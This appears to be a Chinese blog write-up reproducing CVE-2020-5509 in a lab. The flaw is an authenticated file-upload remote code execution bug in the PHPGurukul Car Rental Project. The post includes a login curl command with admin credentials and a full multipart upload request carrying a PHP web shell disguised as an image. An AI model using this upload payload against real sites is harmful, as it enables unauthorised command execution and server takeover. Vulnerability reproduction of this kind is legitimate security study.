CVE-2020-5509 Repetition
零.前言:
下午在Github上逛,找代码学习,突然瞥到CVE-2020-5509,看到了外国友人写的POC 原址:https://github.com/FULLSHADE/CVE-2020-5509-POC 于是搭建了环境,进行复现!
一.环境搭建:
搭建环境:
Windows server 2012 R2 阿帕奇 PHP7.5
官方源码:https://phpgurukul.com/car-rental-project-php-mysql-free-download/ 搭建时需要新建一个数据库,然后将官方给的.sql数据文件导入到那个库里! 之后配置config.php信息,(要配置两个,一个是\includes\config.php,一个是\admin\config.php) 搭建完成图: 之后就可以开始愉快地复现了!
二.复现过程:
我们先用国外人写的poc打一下靶场:
python CVE-2020-5509.py 192.168.1.5(目标ip)
[!] Failed to authenticate
难道失败了?我重新看了一遍国外人写的poc,原来有处坑!
/carrentalproject/carrental/admin/changeimage1.php ##我们实际上是搭建在根目录的,不知道他这个/carrentalproject/carrental/目录是怎么来的,正是因为如此,才会获取不到tok值!
我们改一下poc!
ba把路径中的/carrentalproject/carrental去掉,再试试!
ok,成功了!(但是它的终端有点奇怪,不管他)
国外友人的工具我用的不适手,于是便打算自己写一个图形化的工具!
三.工具编写(.e):
话不多说,先构建界面,再导入一个精易模块:
然后双击”Getshell”按钮,进入代码界面!
Getshell的第一步是要获取到Cookie,来进行鉴权文件上传!
curl -H "http://website/admin/index.php/" -D "username=admin&password=Test@12345&login="
然后就通过鉴权文件上传来进行getshell
上传包:
--I am lonely
Content-Disposition: form-data; name="img1"; filename="test.php"
Content-Type: image/jpeg
<?php system($_GET["cmd"]); ?>
--I am lonely
Content-Disposition: form-data; name="update"
--I am lonely
协议头:
Content-Type: multipart/form-data; boundary="I am lonely"
然后尝试一下:
成功上传!
源码就不发了,因为所有代码就这几行:
end!
参考文章:
https://www.anquanke.com/vul/id/1894422
https://govanguard.com/threat-center/2020/01/13/car-rental-project-1-0-remote-code-execution/
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202001-437